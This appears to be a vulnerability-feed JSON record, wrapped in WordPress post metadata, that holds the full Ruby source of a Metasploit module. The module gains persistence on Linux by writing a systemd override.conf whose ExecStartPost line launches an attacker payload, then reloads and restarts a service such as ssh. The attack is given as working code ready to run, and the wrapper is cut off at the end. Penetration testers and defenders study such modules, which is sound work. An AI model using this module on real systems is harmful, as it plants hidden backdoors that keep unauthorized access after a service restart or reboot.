{“lastseen”:”2025-09-26T19:52:40″,”description”:”This module will create an override.conf file for a SystemD service on the box. The ExecStartPost hook is used to launch the payload…”,”published”:”2025-09-26T18:57:12″,”modified”:”2025-09-26T18:57:12″,”type”:”metasploit”,”title”:”Service SystemD override.conf Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSTEMD_OVERRIDE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Msf::Post::File\\n include Msf::Post::Unix\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::EXE # for generate_payload_exe\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Service SystemD override.conf Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module will create an override.conf file for a SystemD service on the box.\\n The ExecStartPost hook is used to launch the payload after the service is started.\\n We need enough access (typically root) to write in the \/etc\/systemd\/system\\n directory and potentially restart services.\\n Verified on Ubuntu 22.04\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘h00die’,\\n ],\\n ‘Platform’ =\\u003e [‘unix’, ‘linux’],\\n ‘Privileged’ =\\u003e true,\\n ‘Targets’ =\\u003e [\\n [‘systemd’, {}],\\n [‘systemd user’, {}]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Arch’ =\\u003e [\\n ARCH_CMD,\\n ARCH_X86,\\n ARCH_X64,\\n ARCH_ARMLE,\\n ARCH_AARCH64,\\n ARCH_PPC,\\n ARCH_MIPSLE,\\n ARCH_MIPSBE\\n ],\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/www.freedesktop.org\/software\/systemd\/man\/latest\/systemd.service.html’],\\n [‘URL’, ‘https:\/\/askubuntu.com\/a\/659268’],\\n [‘URL’, ‘https:\/\/wiki.archlinux.org\/title\/Systemd’], # section 2.3.2 Drop-in files\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]\\n ],\\n ‘SessionTypes’ =\\u003e [‘shell’, ‘meterpreter’],\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n },\\n ‘DisclosureDate’ =\\u003e ‘2010-03-30’ # systemd release date\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(‘SERVICE’, [true, ‘Service to override (e.g., sshd)’, ‘ssh’]),\\n ]\\n )\\n register_advanced_options(\\n [\\n OptBool.new(‘ReloadService’, [true, ‘Reload the service’, true])\\n ]\\n )\\n end\\n\\n def check\\n print_warning(‘Payloads in \/tmp will only last until reboot, you want to choose elsewhere.’) if writable_dir.start_with?(‘\/tmp’)\\n\\n root_dir = ‘\/lib\/systemd\/system\/’\\n service_file = \\”#{root_dir}#{datastore[‘SERVICE’]}.service\\”\\n\\n return CheckCode::Safe(\\”Service #{datastore[‘SERVICE’]} doesnt exist in #{root_dir}\\”) unless exists?(service_file)\\n\\n service_root_dir = ‘\/etc\/systemd\/system\/’\\n service_dir = \\”#{service_root_dir}#{datastore[‘SERVICE’]}.service.d\\”\\n override_conf = \\”#{service_dir}\/override.conf\\”\\n\\n if directory?(service_dir)\\n return CheckCode::Safe(\\”No write access to #{override_conf}\\”) if exists?(override_conf) \\u0026\\u0026 !writable?(override_conf)\\n return CheckCode::Safe(\\”No write access to #{service_dir}\\”) if !exists?(override_conf) \\u0026\\u0026 !writable?(service_dir)\\n else\\n return CheckCode::Safe(\\”No write access to #{service_root_dir}\\”) unless writable?(service_root_dir)\\n end\\n\\n CheckCode::Appears(\\”#{writable_dir} is writable and system is systemd based\\”)\\n end\\n\\n def install_persistence\\n print_warning(‘Payloads in \/tmp will only last until reboot, you want to choose elsewhere.’) if writable_dir.start_with?(‘\/tmp’)\\n\\n service_dir = \\”\/etc\/systemd\/system\/#{datastore[‘SERVICE’]}.service.d\\”\\n override_conf = \\”#{service_dir}\/override.conf\\”\\n\\n unless exists?(service_dir)\\n vprint_status(\\”Creating #{service_dir}\\”)\\n create_process(‘mkdir’, args: [‘-p’, service_dir])\\n end\\n\\n if exists?(override_conf)\\n conf = read_file(override_conf)\\n backup_conf_path = store_loot(override_conf, ‘text\/plain’, session, conf, ‘override.conf’, \\”#{datastore[‘SERVICE’]} override.conf backup\\”)\\n vprint_status(\\”Backup copy of #{override_conf} stored to: #{backup_conf_path}\\”)\\n @clean_up_rc \\u003c\\u003c \\”upload #{backup_conf_path} #{override_conf}\\\\n\\”\\n else\\n @clean_up_rc \\u003c\\u003c \\”rm #{override_conf}\\\\n\\”\\n end\\n\\n if payload.arch.first == ‘cmd’\\n p_load = payload.encoded\\n p_load = ‘ \\u0026’ unless p_load.end_with?(‘\\u0026’)\\n contents = \\u003c\\u003c~OVERRIDE\\n [Service]\\n ExecStartPost=\/bin\/sh -c ‘#{p_load}’\\n OVERRIDE\\n else\\n payload_path = writable_dir\\n payload_path = payload_path.end_with?(‘\/’) ? payload_path : \\”#{payload_path}\/\\”\\n payload_name = datastore[‘PAYLOAD_NAME’] || rand_text_alphanumeric(5..10)\\n payload_path \\u003c\\u003c payload_name\\n print_status(\\”Uploading payload file to #{payload_path}\\”)\\n upload_and_chmodx payload_path, generate_payload_exe\\n contents = \\u003c\\u003c~OVERRIDE\\n [Service]\\n ExecStartPost=\/bin\/sh -c ‘#{payload_path} \\u0026’\\n OVERRIDE\\n end\\n\\n vprint_status(\\”Writing override file to: #{override_conf}\\”)\\n write_file(override_conf, contents)\\n\\n # This was taken from pam_systemd(8)\\n systemd_socket_id = cmd_exec(‘id -u’)\\n systemd_socket_dir = \\”\/run\/user\/#{systemd_socket_id}\\”\\n cmd_exec(\\”XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload\\”)\\n\\n @clean_up_rc \\u003c\\u003c \\”execute -f \/bin\/systemctl -a \\\\\\”daemon-reload\\\\\\”\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”execute -f \/bin\/systemctl -a \\\\\\”restart #{datastore[‘SERVICE’]}.service\\\\\\”\\”\\n\\n if datastore[‘ReloadService’]\\n vprint_status(\\”Reloading #{datastore[‘SERVICE’]} service\\”)\\n cmd_exec(\\”XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore[‘SERVICE’]}.service\\”)\\n end\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/persistence\/init_systemd_override.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/persistence\/init_systemd_override\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-26T19:52:40″,”description”:”This module will create an override.conf file for a SystemD service on the box. The ExecStartPost hook is used to launch the payload…”,”published”:”2025-09-26T18:57:12″,”modified”:”2025-09-26T18:57:12″,”type”:”metasploit”,”title”:”Service SystemD override.conf…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-19331","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n